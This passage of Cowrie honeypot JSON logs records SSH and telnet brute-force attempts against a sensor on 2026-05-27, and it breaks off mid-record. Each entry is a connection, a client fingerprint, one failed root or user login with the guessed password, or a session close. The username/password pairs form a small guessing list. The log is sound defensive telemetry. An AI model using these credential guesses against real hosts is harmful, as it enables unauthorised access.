{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:12.437469Z","src_ip":"87.226.190.225","session":"3eb598a77c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:13.106516Z","src_ip":"87.226.190.225","session":"3eb598a77c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:14.267995Z","src_ip":"87.226.190.225","session":"3eb598a77c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":37116,"dst_ip":"159.203.135.109","dst_port":22,"session":"57ce5235ac18","protocol":"ssh","message":"New connection: 36.91.81.195:37116 (159.203.135.109:22) [session: 57ce5235ac18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:19.193080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:19.197664Z","src_ip":"36.91.81.195","session":"57ce5235ac18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:19.484345Z","src_ip":"36.91.81.195","session":"57ce5235ac18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@12345","message":"login attempt [root/abc@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:20.645230Z","src_ip":"36.91.81.195","session":"57ce5235ac18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:21.930759Z","src_ip":"36.91.81.195","session":"57ce5235ac18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":51942,"dst_ip":"10.17.0.5","dst_port":22,"session":"10d460563a68","protocol":"ssh","message":"New connection: 94.159.110.201:51942 (10.17.0.5:22) [session: 10d460563a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:31.663191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:31.668081Z","src_ip":"94.159.110.201","session":"10d460563a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:31.759634Z","src_ip":"94.159.110.201","session":"10d460563a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199919991999","message":"login attempt [root/199919991999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:32.035635Z","src_ip":"94.159.110.201","session":"10d460563a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:33.129873Z","src_ip":"94.159.110.201","session":"10d460563a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":52370,"dst_ip":"159.203.135.109","dst_port":23,"session":"b28951399d57","protocol":"telnet","message":"New connection: 79.139.59.21:52370 (159.203.135.109:23) [session: b28951399d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:38.666008Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":33978,"dst_ip":"159.203.135.109","dst_port":22,"session":"b01e334e2da1","protocol":"ssh","message":"New connection: 137.184.228.138:33978 (159.203.135.109:22) [session: b01e334e2da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:40.706516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:40.718709Z","src_ip":"137.184.228.138","session":"b01e334e2da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:40.788557Z","src_ip":"137.184.228.138","session":"b01e334e2da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@qwe","message":"login attempt [root/1234@qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:41.103528Z","src_ip":"137.184.228.138","session":"b01e334e2da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:42.176880Z","src_ip":"137.184.228.138","session":"b01e334e2da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":38186,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7bc381a1968","protocol":"ssh","message":"New connection: 4.227.177.11:38186 (10.17.0.5:22) [session: f7bc381a1968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:59.697615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:59.702461Z","src_ip":"4.227.177.11","session":"f7bc381a1968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:59.713270Z","src_ip":"4.227.177.11","session":"f7bc381a1968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc@123","message":"login attempt [root/qweasdzxc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:53:59.788779Z","src_ip":"4.227.177.11","session":"f7bc381a1968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:00.802494Z","src_ip":"4.227.177.11","session":"f7bc381a1968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":48746,"dst_ip":"10.17.0.5","dst_port":22,"session":"5415a953029e","protocol":"ssh","message":"New connection: 185.236.22.41:48746 (10.17.0.5:22) [session: 5415a953029e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:04.386865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:04.395974Z","src_ip":"185.236.22.41","session":"5415a953029e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:04.504805Z","src_ip":"185.236.22.41","session":"5415a953029e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100888","message":"login attempt [root/100888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:04.834044Z","src_ip":"185.236.22.41","session":"5415a953029e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:05.946428Z","src_ip":"185.236.22.41","session":"5415a953029e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":14252,"dst_ip":"10.17.0.5","dst_port":22,"session":"00e4cef39625","protocol":"ssh","message":"New connection: 38.93.206.2:14252 (10.17.0.5:22) [session: 00e4cef39625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:23.753968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:23.758580Z","src_ip":"38.93.206.2","session":"00e4cef39625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:23.810082Z","src_ip":"38.93.206.2","session":"00e4cef39625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xfiles","message":"login attempt [root/xfiles] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:23.972760Z","src_ip":"38.93.206.2","session":"00e4cef39625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:25.026523Z","src_ip":"38.93.206.2","session":"00e4cef39625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":50728,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b6b632a1c66","protocol":"ssh","message":"New connection: 193.37.70.224:50728 (159.203.135.109:22) [session: 7b6b632a1c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:28.693034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:28.697492Z","src_ip":"193.37.70.224","session":"7b6b632a1c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:28.786808Z","src_ip":"193.37.70.224","session":"7b6b632a1c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1986","message":"login attempt [root/anna1986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:29.065217Z","src_ip":"193.37.70.224","session":"7b6b632a1c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:30.156551Z","src_ip":"193.37.70.224","session":"7b6b632a1c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":42262,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5885e219434","protocol":"ssh","message":"New connection: 87.226.190.225:42262 (10.17.0.5:22) [session: e5885e219434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:36.484641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:36.488284Z","src_ip":"87.226.190.225","session":"e5885e219434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":